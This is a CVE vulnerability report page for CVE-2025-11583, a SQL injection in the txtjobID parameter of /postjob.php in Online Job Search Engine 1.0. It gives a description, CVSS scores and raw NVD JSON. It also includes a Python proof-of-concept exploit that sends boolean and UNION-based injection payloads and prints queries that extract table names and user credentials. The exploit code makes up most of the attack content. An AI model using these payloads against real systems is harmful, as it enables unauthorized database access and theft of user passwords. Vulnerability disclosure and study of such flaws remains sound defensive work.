Security Vulnerability Report
中文
CVE-2025-11583 CVSS 7.3 HIGH

CVE-2025-11583

Published: 2025-10-10 20:15:36
Last Modified: 2026-04-29 01:00:02

Description

A flaw has been found in code-projects Online Job Search Engine 1.0. Impacted is an unknown function of the file /postjob.php. Executing manipulation of the argument txtjobID can lead to sql injection. The attack may be launched remotely. The exploit has been published and may be used.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:fabian:online_job_search_engine:1.0:*:*:*:*:*:*:* - VULNERABLE
code-projects Online Job Search Engine 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11583 - Online Job Search Engine 1.0 SQL Injection PoC # Vulnerability: SQL Injection via txtjobID parameter in /postjob.php # Author: Security Researcher # Reference: https://github.com/iMayday-Yee/Vulnerability/issues/5 import requests import sys TARGET_URL = "http://target.com/postjob.php" INJECTION_PARAM = "txtjobID" def check_injection(url): """Check if the target is vulnerable to SQL injection""" # Normal request normal_payload = "1" try: r_normal = requests.get(url, params={INJECTION_PARAM: normal_payload}, timeout=10) normal_length = len(r_normal.text) except Exception as e: print(f"[ERROR] Connection failed: {e}") return False # Boolean-based injection payload (true condition) true_payload = "1' OR '1'='1" try: r_true = requests.get(url, params={INJECTION_PARAM: true_payload}, timeout=10) true_length = len(r_true.text) except Exception as e: print(f"[ERROR] Request failed: {e}") return False # Boolean-based injection payload (false condition) false_payload = "1' OR '1'='2" try: r_false = requests.get(url, params={INJECTION_PARAM: false_payload}, timeout=10) false_length = len(r_false.text) except Exception as e: print(f"[ERROR] Request failed: {e}") return False print(f"[*] Normal response length: {normal_length}") print(f"[*] True condition response length: {true_length}") print(f"[*] False condition response length: {false_length}") # If true condition returns different response than false, target is vulnerable if true_length != false_length: print("[+] Target is VULNERABLE to SQL injection!") return True else: print("[-] Target does not appear to be vulnerable") return False def exploit_union_injection(url): """Attempt UNION-based SQL injection to extract data""" # Determine number of columns first for i in range(1, 15): cols = ",".join([str(x) for x in range(1, i+1)]) payload = f"-1' UNION SELECT {cols}-- -" try: r = requests.get(url, params={INJECTION_PARAM: payload}, timeout=10) if r.status_code == 200 and "error" not in r.text.lower()[:500]: print(f"[+] Number of columns: {i}") # Extract database info info_payload = f"-1' UNION SELECT {cols}-- -" print(f"[*] Payload: {payload}") return True except Exception: continue return False def extract_data(url, columns): """Extract sensitive data via UNION injection""" # Get current database name cols = ",".join([str(x) for x in range(1, columns+1)]) db_payload = f"-1' UNION SELECT database(),{cols[2:]}-- -" print(f"[*] Database extraction payload: {db_payload}") # Get table names tables_payload = f"-1' UNION SELECT group_concat(table_name),{cols[2:]} FROM information_schema.tables WHERE table_schema=database()-- -" print(f"[*] Tables extraction payload: {tables_payload}") # Get user credentials users_payload = f"-1' UNION SELECT group_concat(username,0x3a,password),{cols[2:]} FROM users-- -" print(f"[*] Users extraction payload: {users_payload}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] Target: {target}") print("[*] Testing for SQL injection vulnerability (CVE-2025-11583)...") if check_injection(target): print("[*] Attempting UNION-based exploitation...") if exploit_union_injection(target): print("[+] Exploitation successful!") else: print("[-] UNION exploitation failed, try time-based blind injection")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11583", "sourceIdentifier": "[email protected]", "published": "2025-10-10T20:15:36.273", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in code-projects Online Job Search Engine 1.0. Impacted is an unknown function of the file /postjob.php. Executing manipulation of the argument txtjobID can lead to sql injection. The attack may be launched remotely. The exploit has been published and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fabian:online_job_search_engine:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "37150FD4-5368-4C2C-A205-2F93718B673D"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/iMayday-Yee/Vulnerability/issues/5", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327905", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327905", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.671469", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://github.com/iMayday-Yee/Vulnerability/issues/5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}